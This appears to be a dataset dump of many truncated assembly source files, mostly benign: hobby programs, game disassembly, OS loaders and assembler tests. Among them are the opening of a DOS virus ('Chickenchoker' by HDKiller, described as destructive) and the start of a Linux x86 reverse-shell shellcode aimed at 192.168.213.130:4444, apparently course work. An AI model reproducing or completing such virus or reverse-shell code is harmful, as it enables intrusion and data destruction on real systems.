content stringlengths 23 1.05M |
|---|
LUI S0 0000000000000001
ORI S0 S0 0000000000000001
LUI S1 0000000000000001
SUB S2 S0 S1
ADDI S2 S2 0000000000000010
SUBI S2 S2 0000000000000001 |
INCLUDE "hardware.inc"
SECTION "entry", ROM0[$100]
jp start
SECTION "gbc", ROM0[$143]
db CART_COMPATIBLE_DMG_GBC
SECTION "main", ROM0[$150]
start:
;-----------------------------------
ld a, [rKEY1]
add a, a ; if bit 7 is set, this will cause the carry flag to be set.
jr c, .noSpeedSwitch
ld ... |
; Chickenchoker Virus by HDKiller
;
; Origianl Variant 127 bytes
; Fixored up Variant 132 bytes
;
;
; This is a trivial variant of a basic sort, no encryption and a nasty payload
;
; Being HDKiller's first virus it wasnt a bad start, though I wouldnt have made
; it destruct... |
; This is a comment
MOV NF #1
MOV AX #3
MOV BX #'H'
INT
MOV BX #'E'
INT
MOV BX #'L'
INT
MOV BX #'L'
INT
MOV BX #'O'
INT
MOV BX #'_'
INT
MOV BX #'A'
INT
MOV BX #'S'
INT
MOV BX #'S'
INT
MOV BX #'E'
INT
MOV BX #'M'
INT
MOV BX #'B'
INT
MOV BX #'L'
INT
MOV BX #'E'
INT
MOV BX #'R'
INT
|
; size_t p_queue_size(p_queue_t *q)
SECTION code_adt_p_queue
PUBLIC p_queue_size
defc p_queue_size = asm_p_queue_size
INCLUDE "adt/p_queue/z80/asm_p_queue_size.asm"
|
MODULE __printf_get_flags_impl
SECTION code_clib
PUBLIC __printf_get_flags_impl
EXTERN __printf_set_flags
EXTERN __printf_set_width
EXTERN __printf_set_precision
EXTERN asm_atoi
EXTERN get_16bit_ap_parameter
__printf_get_flags_impl:
ld c,0
flags_again:
push hl ;save fmt
... |
; A124107: Numbers n such that n is the sum of the augmenting factorials of the digits of n, e.g. 733 = 7 + 3! + (3!)!.
; 1,2,3,4,5,6,7,8,9,733
mov $1,$0
lpb $1
mov $0,732
sub $1,9
lpe
add $0,1
|
;LAB3
;PROBLEM: WRITE AN 8086 ASSEMBLY PROGRAM TO TAKE INPUT ANY DECIMAL
;NUMBER AND DISPLAY IT IN THE NEXT LINE
.MODEL SMALL
.STACK 100H
.DATA
P DW 10
R DW 0
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
MOV BX, 0
INPUT:
MOV AH, 01
INT 21H
CMP AL, 13D
JNE PROCESS
JE PRINT
... |
; Splits the pollKeyAndTranslateWithMouse function into two functions: one, at
; the original entry point, which behaves as before, polling for a keycode
; and then translating it together with mouse actions, and another, at an
; entry point located within the original function body, which translates a
; ... |
.model tiny
VERSION_NUMBER equ 340
INCLUDE COMPAT.INC
INCLUDE PROLOGUE.MAC ;; common prologue
INCLUDE SOUNDRV.INC
ConvertDPMI Macro myseg,indx
LOCAL @@HOP
cmp [cs:DPMI],0 ; In 32 bit DPMI mode?
je short @@HOP
nope
nope
push eax ; Save EAX
mov eax,indx ; Get the entire 32 bit flat-model ... |
sub $v0, $v0, $v0
sub $v1, $v1, $v1
addi $v0, $v0, 1
addi $v1, $v1, 1
fibb:
sw $v0, 0x10000000
add $v0, $v0, $v1
lw $v1, 0x10000000
j fibb
|
;;
;; Copyright (c) 2019 Antti Tiihala
;;
;; Permission to use, copy, modify, and/or distribute this software for any
;; purpose with or without fee is hereby granted, provided that the above
;; copyright notice and this permission notice appear in all copies.
;;
;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCL... |
;Abhishek Venkata Sai KAndikatuu
;BL.EN.U4CSE17003
;Subtract 2 3 byte numbers
.MODEL small
.STACK
.DATA
N db 3h
n1 db 40h,22h,01h
n2 db 22h,0F1h,02h
sum db ?
.CODE
.STARTUP
mov cx,00h
mov cl,N
clc ;clears flag value
addition: mov al,n1[si]
mov ah,n2[si]
sbb al,00h
clc
sub al,... |
; --COPYRIGHT--,BSD_EX
; Copyright (c) 2012, Texas Instruments Incorporated
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; * Redistributions of source code must retain the ... |
%define RNUM 0x10000 ; max of relocations in a section is 0xffff
section .data1
r1 dd RNUM
section .data2
r2 dd RNUM
%macro x1 1
mov eax, [r1 + %1]
%endmacro
%macro x2 1
mov eax, [r2 + %1]
%endmacro
section .text1
%assign i 0
%rep RNUM
x1 i
x2 i
%assign i i+1
%endrep
|
.code
; bool AVX_Packed_Array_Max_Float_(float* input, int arrayLength, float* result);
AVX_Packed_Array_Max_Float_ proc
xor eax, eax
test rcx, 0fh ; Check if array address is 16 byte aligned
jnz Done
test edx, edx
jz Done
mov eax, 1
vbroadcastss xmm0, real4 ptr [rcx] ; All 4 items of xmm0 = input[0]
cmp rdx, 4 ... |
.byte $01 ; Unknown purpose
.byte OBJ_WOODENPLATFORMFALL, $08, $15
.byte OBJ_WOODENPLATFORMFALL, $38, $11
.byte $FF ; Terminator
|
; xv6 x86_64 entryother.S
; Each non-boot CPU ("AP") is started up in response to a STARTUP
; IPI from the boot CPU. Section B.4.2 of the Multi-Processor
; Specification says that the AP will start in real mode with CS:IP
; set to XY00:0000, where XY is an 8-bit value sent with the
; STARTUP. Thus this code must star... |
SECTION code_clib
SECTION code_l
PUBLIC l_command_line_parse
EXTERN l_minu_bc_hl, asm_isspace, l_jpix
l_command_line_parse:
; * parse command line into words
; * copy words to stack
; * return argc and argv
; * return pointer to redirector string if '>' or '<' found
; * command line length capped... |
PokemonTower1F_Object:
db $1 ; border block
def_warps
warp 10, 17, 1, LAST_MAP
warp 11, 17, 1, LAST_MAP
warp 18, 9, 1, POKEMON_TOWER_2F
def_signs
def_objects
object SPRITE_LINK_RECEPTIONIST, 15, 13, STAY, UP, 1 ; person
object SPRITE_MIDDLE_AGED_WOMAN, 6, 8, STAY, NONE, 2 ; person
object SPRITE_BALDING_GU... |
SFX_Cry13_3_Ch1:
dutycycle 51
unknownsfx0x20 15, 246, 192, 5
unknownsfx0x20 8, 227, 188, 5
unknownsfx0x20 6, 210, 208, 5
unknownsfx0x20 6, 178, 224, 5
unknownsfx0x20 6, 194, 240, 5
unknownsfx0x20 8, 177, 0, 6
endchannel
SFX_Cry13_3_Ch2:
dutycycle 153
unknownsfx0x20 14, 198, 177, 4
unknownsfx0x20 7, 195, 17... |
;-------------
; gb-template - bank0.asm
;-------------
; Includes
;-------------
INCLUDE "../src/hardware.asm"
INCLUDE "../src/header.asm"
; INCLUDE "../src/map.asm"
;-------------
; Start
;-------------
; org 0150h
START:
ei ;enable interrupts
ld sp,$FFFE
ld a,IEF_VBLANK ;enable vblank interrupt
... |
define B mem 0b00
define X mem 0b01
define Y mem 0b10
define DUMMY mem 0b11
define loadb 0(imm b0, imm b1, imm b2, imm b3, imm addr0, imm addr2) {
addr1 = addr0 + 1
addr3 = addr2 + 1
B[addr0] = b0
B[addr1] = b1
B[addr2] = b2
B[addr3] = b3
}
define loadx 1(imm b0, imm b1, imm b2, imm b3, imm ad... |
%ifdef CONFIG
{
"RegData": {
"RCX": "5",
"RDI": "0xE0000003"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445466161
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x0
mov [rdx + 8 * 2], rax
lea rdi, [rdx + 8 * 0]
... |
100: LD SP, #4000
108: LD R1, #10
116: ST y, R1
124: MUL R2, #3, R1
132: ADD R3, #1, R2
140: ST x, R3
148: SUB R4, R1, R3
156: BGEZ R4, #180
164: LD R4, #true
172: BR #188
180: LD R4, #false
188: ST w, R4
|
.MODEL SMALL
.STACK 100H
.DATA
PROMPT_1 DB 'Enter an integer less than 9 : $'
PROMPT_2 DB 'The number is : $'
.CODE
MAIN PROC
MOV AX,@DATA
MOV DS,AX
LEA DX,PROMPT_1
MOV AH,9
INT 21H
MOV AH,1
INT 21H
MOV BL,AL
MOV AH,2
MOV DL,0DH
INT 21H
... |
// Test RAM blocks
define MEMORY_MAP = LOROM
define ROM_SIZE = 1
include "../../../src/common/assert.inc"
include "../../../src/common/memory.inc"
createRamBlock(dp, 0x000000, 0x0000ff)
createRamBlock(shadow, 0x7e0100, 0x7e1f7f)
createRamBlock(stack, 0x7e1f80, 0x7e1fff)
assert(__MEMORY__.ramBlocks.stack.size =... |
;;
;; Copyright (c) 2017 Antti Tiihala
;;
;; Permission to use, copy, modify, and/or distribute this software for any
;; purpose with or without fee is hereby granted, provided that the above
;; copyright notice and this permission notice appear in all copies.
;;
;; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCL... |
;;----------------------------------------------------------------------------;;
;; Use the new "long name" field.
;; Copyright 2014 Benito Palacios (aka pleonex)
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obt... |
; uint16_t in_pause_fastcall(uint16_t dur_ms)
SECTION code_input
PUBLIC _in_pause_fastcall
EXTERN asm_in_pause
defc _in_pause_fastcall = asm_in_pause
|
ControlInput: subroutine
lda pad
and padedge
and #$20
beq .lvlend
lda #1
sta func0
jsr FindLevel
ldx #2
jsr PlaySequence
.lvlend
lda pad
and padedge
and #$10
beq .pauseend
lda loop
eor #$1
sta l... |
; Shift-left of a 16-bit value.
;
; Used: a, hl, d
;
; Entry: hl 16-bit value
; a shift count
; Exit: hl result of hl shifted left by c bits
sla16: ld d,a
or a
__sla16_loop: ret z
sla h
sla l
jr nc,__sla16_cont
ld a,1
add a,h
ld h,a
__sla16_cont: dec d
jr __sla16_loop
|
SECTION rodata_font_ansi
PUBLIC ansifont_f5
ansifont_f5:
BINARY "stdio/ansi/F5.BIN"
|
; =============================================================================
; Pure64 -- a 64-bit OS loader written in Assembly for x86-64 systems
; Copyright (C) 2008-2012 Return Infinity -- see LICENSE.TXT
;
; Loaded from the first stage. Gather information about the system while
; in 16-bit mode (BIOS is sti... |
/*---------------------------------------------------------------
KOALA SHOWER
This code displays the Koala picture in the file picture.prg
---------------------------------------------------------------*/
.var picture = LoadBinary("picture.prg", BF_KOALA)
:BasicUpstart2(start)
start:
lda #$38
... |
Map_9147E: dc.w word_9148E-Map_9147E
dc.w word_91496-Map_9147E
dc.w word_9149E-Map_9147E
dc.w word_914A6-Map_9147E
dc.w word_914AE-Map_9147E
dc.w word_914B6-Map_9147E
dc.w word_914BE-Map_9147E
dc.w word_914C6-Map_9147E
word_9148E: dc.w 1
dc.b $FC, 0, 0, 6, $FF, $FC
word_91496: dc.w 1
dc.... |
; #########################################################################
CallSearchDlg proc
invoke DialogBoxParam,hInstance,300,hWnd,ADDR SearchProc,0
ret
CallSearchDlg endp
; #########################################################################
SearchProc proc hWin :DWORD,
uMsg ... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Jens-Michael Gross 1997 -- All Rights Reserved
PROJECT: MM-Projekt
MODULE: (MS)CDEX CDRom Driver
FILE: CDAStrat.asm
AUTHOR: Jens-Michael Gross
REVISION HISTORY:
Name Date Description
---- ---- -----------
JMG 28.07... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: amateurBlaster.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ----... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: GeoDex/DB
FILE: dbInk.asm
AUTHOR: Ted H. Kim, March 3, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:... |
; void zx_cls_pix(uchar attr)
SECTION code_clib
SECTION code_arch
PUBLIC zx_cls_pix
EXTERN asm_zx_cls_pix
defc zx_cls_pix = asm_zx_cls_pix
|
;/*----------------------------------------------------------------------------
; * Copyright (c) <2013-2018>, <Huawei Technologies Co., Ltd>
; * All rights reserved.
; * Redistribution and use in source and binary forms, with or without modification,
; * are permitted provided that the following conditions are met:
; ... |
LIST P=PIC16F819
#INCLUDE<P16F819.INC>
__CONFIG _HS_OSC & _CP_OFF & _WDT_OFF & _PWRTE_ON & _MCLR_ON & _LVP_OFF
CNT EQU 020H
VAL EQU 021H
CNT_VAL EQU 022H
ORG 0H
MAIN
BSF STATUS,RP0
MOVLW 01H
MOVWF TRISA
CLRF TRISB
MOVLW 0EH
MOVWF ADCON1
BCF STATUS,RP0
MOVLW 081H
MOVWF ADCON0
CLRF VAL
CLRF... |
aseg
org 100h
ld c, 9
ld de, msg
call 5
jp 0
msg:
db 'Hello 09h$'
|
add_a_to_hl: MACRO
add a, l
ld l, a
jr nc, .notcarry\@
inc h
.notcarry\@
ENDM
|
_Route15GateUpstairsText_4968c::
text "This replica"
line "badge holds rocks"
cont "which you can"
cont "throw in a fight"
para "to make it easier"
line "to catch wild"
cont "#MON. It's"
cont "like you're on"
cont "safari!"
para "If you don't need"
line "it, you should "
cont "store it via PC."
done
_Ro... |
.gba
.create "output.bin",0
.definelabel label,1234
.definelabel e,5678
// Should be parsed as exponentials
.notice 314e2
.notice 314e+2
.notice 314e-2
.notice 314E2
.notice 314E+2
.notice 314E-2
// Should NOT be parsed as exponentials
.notice 0xE2
.notice 0xE+2
.notice 0xE-2
.notice 0xE+label
.notice 0xE-label
.no... |
;; Validate device number
rvec1_3:
leas 2,s
rts
cmpb #-3
bne ovec1
leas 2,s
rts
ovec1: rmb 3
|
# multiboot config and setup
.set ALIGN, 1 << 0 # align modules on page boundaries
.set MEMINFO, 1 << 1 # provide memory map
.set FLAGS, ALIGN | MEMINFO # flags
.set MAGIC, 0x1BADB002 # header magic
.set CHECKSUM, -(MAGIC + FLAGS) # checksum to prove multi
.sect... |
SECTION code_l
PUBLIC l_small_ultob
EXTERN l_small_utob
l_small_ultob:
; write unsigned binary long to ascii buffer
;
; enter : dehl = unsigned long
; bc = char *buffer
; carry set to write leading zeroes
;
; exit : de = char *buffer (one byte past last char written)
... |
; Title: Reverse Shell - Linux x86 - TCP (IP 192.168.213.130 port 4444)
; Author: DeathsPirate
; Twitter: @DeathsPirate
; Web: https://whitehatters.academy
; StudentID: SLAE-734
global _start
section .text
_start:
; Setup the socketcall socket creation
; int 0x80 with a syscall number of 0x66 (102)
; socketcall ... |
;; lux OS kernel
;; copyright (c) 2018 by Omar Mohammad
format elf
use32
section '.text'
; void save_registers(registers_t *registers)
; Saves machine state to a structure
public save_registers
save_registers:
pusha
mov [tmp_struct.eax], eax
mov [tmp_struct.ebx], ebx
mov [tmp_struct.ecx], ecx
mov [tmp_struct... |
lorom
!INDEX_FLAG = $10
!MEMORY_FLAG = $20
MSU_STATUS = $2000
MSU_READ = $2001
MSU_ID = $2002
MSU_SEEK = $2000
MSU_TRACK = $2004
MSU_VOLUME = $2006
MSU_CONTROL = $2007
MSU_STATE_NOT_FOUND = %00001000
MSU_STATE_PLAYING = %00010000
MSU_STATE_BUSY = %01000000
TRACK_INDEX = $06C0
TRACK_STATU... |
/******************************************************************************
* Name : pds_mte_state_copy.asm
*
* Copyright : 2006-2008 by Imagination Technologies Limited.
* : All rights reserved. No part of this software, either
* : material or conceptual may be copied or d... |
; Every Pokémon sorted in New Pokédex Order.
NewPokedexOrder:
dw TURTWIG
dw GROTLE
dw TORTERRA
dw CHIMCHAR
dw MONFERNO
dw INFERNAPE
dw PIPLUP
dw PRINPLUP
dw EMPOLEON
dw STARLY
dw STARAVIA
dw STARAPTOR
dw BIDOOF
dw BIBAREL
dw KRICKETOT
dw KRICKETUNE
dw SHINX
dw LUXIO
dw LUXRAY
dw ABRA
dw KADABRA
d... |
; nasm -f elf32 ex3.asm -o ex3.o
; gcc -m32 ex3.o -o ex3.out
; ./ex3.out
; echo $?
global main
section .text
main:
mov ebp, esp; for correct debugging
mov eax, 1 ; exit call
mov ebx, 42 ; exit status
mov ecx, 101; 101
cmp ecx, 100; comapare ecx = 101 to 100
jl skip ; jump to ski... |
extern m7_ippsDLPPublicKey:function
extern n8_ippsDLPPublicKey:function
extern y8_ippsDLPPublicKey:function
extern e9_ippsDLPPublicKey:function
extern l9_ippsDLPPublicKey:function
extern n0_ippsDLPPublicKey:function
extern k0_ippsDLPPublicKey:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
s... |
; void *tshc_saddrcdown(void *saddr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_saddrcdown
EXTERN zx_saddrcdown
defc tshc_saddrcdown = zx_saddrcdown
|
SECTION code_fp_math16
PUBLIC log10f16_fastcall
EXTERN _m16_log10f
defc log10f16_fastcall = _m16_log10f
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _log10f16_fastcall
defc _log10f16_fastcall = _m16_log10f
ENDIF
|
.data
a: .space 1000
vis: .space 100
sk: .space 100
addr: .space 100
i: .space 100
.macro read(%x)
li $v0, 5
syscall
move %x, $v0
.end_macro
.macro printd
li $v0, 1
syscall
.end_macro
.macro end
li $v0, 10
syscall
.end_macro
.macro id(%x, %i, %j)
sll %x, %i, 3 # %x=%i*8
add %x, %x, %j # %x=%x+%j
sll %x, %x, 2 ... |
dc.w word_BD9E-Map_SaveScreen
dc.w word_BDA0-Map_SaveScreen
dc.w word_BE0E-Map_SaveScreen
dc.w word_BE64-Map_SaveScreen
dc.w word_BE7E-Map_SaveScreen
dc.w word_BEA4-Map_SaveScreen
dc.w word_BEB2-Map_SaveScreen
dc.w word_BECC-Map_SaveScreen
dc.w word_BEE0-Map_SaveScreen
dc.w word_BEEE-Map_SaveScreen
... |
ON_ERR: RST $30
DEFW L1E99 ; FIND-INT2, clears CF
; LD HL,9999
; SBC HL,BC
; JP C,ERROR_B
LD (ERRLN),BC
POP BC ; return address
POP HL ; error address
LD HL, ERRHOOK
PUSH HL
PUSH BC
RST $10
ONERROR:LD HL,L1303 ; MAIN-4, error handler
PUSH HL
LD A,(ERR_NR)
INC A ; 0 OK
JR Z,NO_ERR
CP 9 ; 9 STOP statem... |
;Rusu Cosmin, gr. 917, 14.10.2015, homework for lab 3, problem 13
assume cs:code, ds:data
;;m - [0, 100]
;h - [100, 300]
;yy - [0, 256]
;d - [-3, 15]
;
;(h+128)-(y+m+d) = h + 128 - y - m - d
;
;
; Solution for Signed representation
;
;
data segment
m db 10
h dw 150
yy dw 212
d db -3
x dw ?
data ends
code segme... |
PUBLIC DoXsave
extern xsaveArea:qword
.code
; void DoXsave();
; This function calls xsave and stores the FP state in the given dst area.
; The caller is expected to allocate enough space for the xsave area.
; The function expects the given dst pointer to be properly aligned for the xsave instruction.
DoXsave PROC
... |
;---------------------------------------------------------
;
; LDOS (Leonard Demo Operating System)
; AMIGA version
; Written by Leonard/Oxygene
; https://github.com/arnaud-carre/ldos
;
; Hard Disk Drive boot loader
;
;---------------------------------------------------------
_LVOAvailMem = -216
_LVOAllocMem = -19... |
; The MIT License (MIT)
;
; Copyright (c) 2018 Jiri Sramek (https://github.com/JiriS97/)
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation th... |
; animated logo
; using b&w bitshifters frame by @horsenburger for Bad Apple
\\ Letter positions (columns)
\\ b [2-4]
\\ i [5-6]
\\ t [7-10]
\\ s [11-13]
\\ h [14-17]
\\ i [18-19]
\\ f [20-22]
\\ t [23-26]
\\ e [27-30]
\\ r [31-33]
\\ s [34-36]
\\ Ascender/descender positions (columns)
\\ b [2-3] up - 0x20, 0x6a
\\ ... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1998 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Cyber16 Video Driver
FILE: cyber16StringTab.asm
AUTHOR: Jim DeFrisco, 8/1/90
REVISION HISTORY:
Name Date Description
---- ---- -----------
... |
Player_ReadControlsDual:
ld b,2 ;lets read the joystick too! (2 joysticks!)
joynextjoy:
ld a, 15 ; AY port 15 (we're getting kana LED state)
out (&A0), a ; &A0 = AY Register write port
in a, (&A2) ; &A2 = Value read port
and 128 ;kana led state
ld c,a ;store it for later
ld a,b ;Joystick... |
; unsigned char esx_f_rmdir(unsigned char *pathname)
SECTION code_esxdos
PUBLIC esx_f_rmdir
EXTERN asm_esx_f_rmdir
defc esx_f_rmdir = asm_esx_f_rmdir
|
#######
# billnyetheme.asm
# Plays a simplified version of
# the Bill Nye Theme.
#######
.text
billnyetheme:
move $t0, $ra
###intro
#f4
li $a0, 65
jal playGuitar
jal waitFourTick
#f4
li $a0, 65
jal playGuitar
jal waitFourTick
#f4
li $a0, 65
jal playGuitar
jal waitFourTick
#f4
li $a0, 65
jal playGuitar
jal... |
1000c408: 55 push ebp
1000c409: 8b ec mov ebp,esp
1000c40b: 53 push ebx
1000c40c: 56 push esi
1000c40d: 57 push edi
1000c40e: 55 push ebp
1000c40f: 6a 00 push 0x0
1000c411: 6a 00... |
TITLE scrn4.asm
; AUTHOR Tim Spencer - Compuserve [73657,1400]
; DATE March 19, 1987
_TEXT SEGMENT BYTE PUBLIC 'CODE'
_TEXT ENDS
_DATA SEGMENT WORD PUBLIC 'DATA'
_DATA ENDS
DGROUP GROUP _DATA
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:NOTHING
_TEXT SEGMENT BYTE PUBLIC 'CODE'
;---------------... |
clc
lda ({z1}),y
ldy #{c1}
adc ({z1}),y |
SECTION code_fp_math32
PUBLIC cm32_sdcc_atanh
EXTERN cm32_sdcc_fsread1, _m32_atanhf
cm32_sdcc_atanh:
call cm32_sdcc_fsread1
jp _m32_atanhf
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonUI/CSpec (common code for several specific ui's)
FILE: cspecItem.asm
ROUTINES:
Name Description
---- -----------
GLB OLBuildItemList... |
%include "const.inc"
org 0x90000
[bits 16]
align 16
entry:
;初始化段和栈
;由于从boot跳过来的时候用的jmp LOADER_SEG(0x9000):0
;所以这个地方的cs是0x9000,其它的段也是这个值
mov ax, cs
mov ds, ax
mov ss, ax
mov sp, 0
mov ax, 0xb800
mov es, ax
;show 'LOADER'
mov byte [es:160+0],'L'
mov byte [es:160+1],0x07
mov byte [e... |
.thumb
.org 0x0
push {r14}
mov r1,#0x1
ldr r2,WeaponCheck
ldr r3,WriteAllSquares
bl goto_r3
pop {r0}
bx r0
goto_r3:
bx r3
.align
WeaponCheck:
.long 0x08016574+1
WriteAllSquares:
|
SECTION code_stdio
PUBLIC __stdio_scanf_lo
EXTERN __stdio_scanf_sm_octal, __stdio_scanf_number_head
EXTERN l_inc_sp, asm_strtoul, __stdio_scanf_number_tail_long
__stdio_scanf_lo:
; %lo converter called from vfscanf()
;
; enter : ix = FILE *
; de = void *buffer
; bc = field width (0 m... |
frame 1, 03
frame 4, 05
frame 5, 05
setrepeat 4
frame 2, 04
frame 3, 04
dorepeat 4
frame 4, 05
frame 5, 05
frame 1, 04
endanim
|
;; The build types are passed in from the build script (but can also be forced here)
; DEFINE LowerROMBuild 1
; DEFINE UpperROMBuild 1
; DEFINE CartridgeBuild 1
; DEFINE RAMBuild 1
; DEFINE SkipLowerRAMTest
; DEFINE LowerRAMFailure %00100011
; DEFINE UpperRAMFailure #61
IFDEF LowerROMBuild
DEFINE BUILD_STR 'L'
... |
[bits 16]
LOADER_BASE equ 0x2000
PACKET_BASE equ 0x1F00
section code vstart=0x7C78
;segment init
xor ax,ax
mov ss,ax
mov sp,0x7C00
mov ds,ax
mov es,ax
cld
;check LBA availibility
mov ax,0x4100
mov dl,0x80
mov bx,0x55AA
int 0x13
jc die
cmp bx,0xAA55
jnz die
test cl,1
jnz lba_p... |
;; Standard library definitions.
EXIT_FAILURE = 1
EXIT_SUCCESS = 0
NULL = 0
RAND_MAX = 1 shl 32 - 1
; include 'lib/wait.asm' ?
WNOHANG = 0
WUNTRACED = 0
WEXITSTATUS = 0
WIFEXITED = 0
WIFSIGNALED = 0
WIFSTOPPED = 0
WSTOPSIG = 0
WTERMSIG = 0
; Constants:
_Exit = panic
abort = pani... |
.align 2
naviSelect_getNaviNameTile:
lsl r3,r0,0x2
lsl r0,r0,0x1
add r3,r3,r0
pop r0
mov r15,r14
naviSelect_renderNaviName:
push r0-r3,r14
// Render first OAM
bl 0x8029538
pop r0-r3
// Offset x-position
mov r4,0x20
lsl r4,r4,0x10
add r0,r0,r4
// Change to 16x8
lsl r0,r0,0x2
lsr r0,r0,0x2
// Get n... |
;
; Word: cursor!
; Dictionary: (a - )
; Date: 4th February 2018
; Macro: No
; Notes:
;
pop ix
ex de,hl
call IO_SetCursor
pop de
jp (ix)
|
ASSUME CS:INTPRT
INTPRT SEGMENT PUBLIC
PUBLIC INITEK
COMMENT | INITEK is an 8088 routine to initialize the serial interface
for the Tektronix 4662 plotter. The 4662 requires
a baud rate of 1200, even parity, seven bit words with
two stop bits.
... |
Audio4_PlaySound::
; Duplicate of Audio3_PlaySound
ld [wSoundID], a
ld a, [wSoundID]
cp $ff
jp z, Audio4_7d18e
cp $98
jp z, Audio4_7d12d
jp c, Audio4_7d12d
cp $a3
jr z, .asm_7d127
jp nc, Audio4_7d12d
.asm_7d127
call InitMusicVariables
jp Audio4_7d192
Audio4_7d12d:
ld l, a
ld e, a
ld h, $0
ld d, h
add... |
SECTION code_clib
SECTION code_nirvanap
PUBLIC asm_NIRVANAP_drawW_di
EXTERN asm_NIRVANAP_drawW
asm_NIRVANAP_drawW_di:
di
call asm_NIRVANAP_drawW
ei
ret
|
// kick assembler, c128 tests
#import "c128system.asm"
#import "c128macros.asm"
:BasicUpstart128(MAIN) // I like to use : to indicate a macro call.
MAIN:
:SetBankConfiguration(15) // set bank 15
:SetVDCUpdateAddress($0000)
ldy #0 // loop counter
lda #$01 // char code 01
ldx #31 // internal data... |
; test externals: public segment of same name in two modules
IDEAL
ASSUME CS:SEG1, DS:SEG1, ES:SEG1, SS:SEG1
SEGMENT SEG1 PUBLIC
ORG 100h
start:
int 20h
_XBYTE db 0
_XWORD dw 0
_XCODE:
int 20h
ENDS
PUBLIC _XBYTE, _XWORD, _XCODE
END start
|
VAL = $01
OLD = $FD
NEW = $FE
JMP RESET ; Sets up the inital conditions
LOOP: ADC OLD ; Adds the old value to last value
BCS RESET ; Resets if carry flags is set
LDX NEW ; Moves the last value to old
STX OLD
STA NEW ; Stores the new numbe... |
list_item: MACRO
.__item\1
if (_NARG > 1)
db .__item\2 - .__item\1
endc
ENDM
current_list_item = 0
next_list_item: MACRO
next_list_item_index = current_list_item + 1
list_item {d:current_list_item}, {d:next_list_item_index}
current_list_item = next_list_item_index
ENDM
end_list_items: MACRO
list_item {d:current_l... |
.model small
.data
num1 db 0,0,0,0,0,0,0,0,0,9,'$'
decimales_1 db 0,0,0,0,0,0,0,0,0,0,'$'
num2 db 0,0,0,0,0,0,0,0,1,0,'$'
decimales_2 db 0,0,0,0,0,0,0,0,0,0,'$'
num_res db 0,0,0,0,0,0,0,0,0,0,'$'
decimales_Res db 0,0,0,0,0,0,0,0,0,0,'$'
ajuste_decimales_1 db 0,0,0,0,0,0,0... |
ori $ra,$ra,0xf
srav $2,$2,$3
sb $4,8($0)
lb $0,7($0)
mthi $5
divu $2,$ra
sll $4,$2,1
lb $5,15($0)
mult $4,$3
addu $5,$4,$2
mfhi $1
mtlo $5
sb $4,1($0)
mtlo $4
div $2,$ra
lb $5,1($0)
mult $0,$0
addiu $4,$4,-12938
lui $5,41660
srav $4,$4,$4
lui $0,987
sll $4,$4,24
mtlo $2
lb $6,13($0)
divu $1,$ra
div $1,$ra
sll $4,$4,22... |
TITLE ARRAYS - Copyright (c) SLR Systems 1994
INCLUDE MACROS
PUBLIC LOCAL_PTR_INSTALL,INIT_PARALLEL_ARRAY,MARRAY_INIT,RELEASE_GARRAY
PUBLIC RELEASE_CV_LTYPE_GARRAY,RELEASE_CV_GTYPE_GARRAY
.DATA
EXTERNDEF BUFFER_OFFSET:DWORD,STD_ALLOC_LOG:DWORD,STD_ALLOC_OFF:DWORD,GARRAY_BLOCK_CNT:DWORD
EXTERNDEF SYMB... |
song8_header:
.byte 4
.byte MUSIC_SQ1
.byte 0
.byte MUSIC_SQ2
.byte 0
.byte MUSIC_TRI
.byte 0
.byte MUSIC_NOI
.byte $01
.byte NOISE
.byte $30
.byte ve_tgl_2
.word song8_noise
.byte $4C
song8_noise:
.byte half ;first pl... |
;
; PIC16F84A VIDEO DEMO
; ZACH BALDWIN JAN 2021
;
processor 16F84A ; Define processor
#include <xc.inc>
; CONFIG
CONFIG FOSC = HS ; Oscillator Selection bits (HS oscillator)
CONFIG WDTE = OFF ; Watchdog Timer (WDT disabled)
CONFIG PWRTE = OFF ; Power-up Timer Enable bit... |
.gba
.create "output.bin",0
; check token replacement
.macro pushWrapper, registers
push registers
.endmacro
.macro ldrWrapper, target, source
ldr target,source
.endmacro
pushWrapper {r5,r7}
ldrWrapper r2,[r4, r5]
; check parameters containing function calls
.macro cat, a, b
.byte "" + a + b
.align
.endmac... |
# start and end of the locations array
assigni $1 20
assigni $2 40
# assignign random locations to 20 people in our grid
assigningLocations:
assigni $7 39
beq $1 locationsSet
# setting our upper and lower bounds to for the random number that
# we want to generate when getting a random number <= 100
# we have to do thi... |
PokemonTower3Script:
call EnableAutoTextBoxDrawing
ld hl, PokemonTower3TrainerHeaders
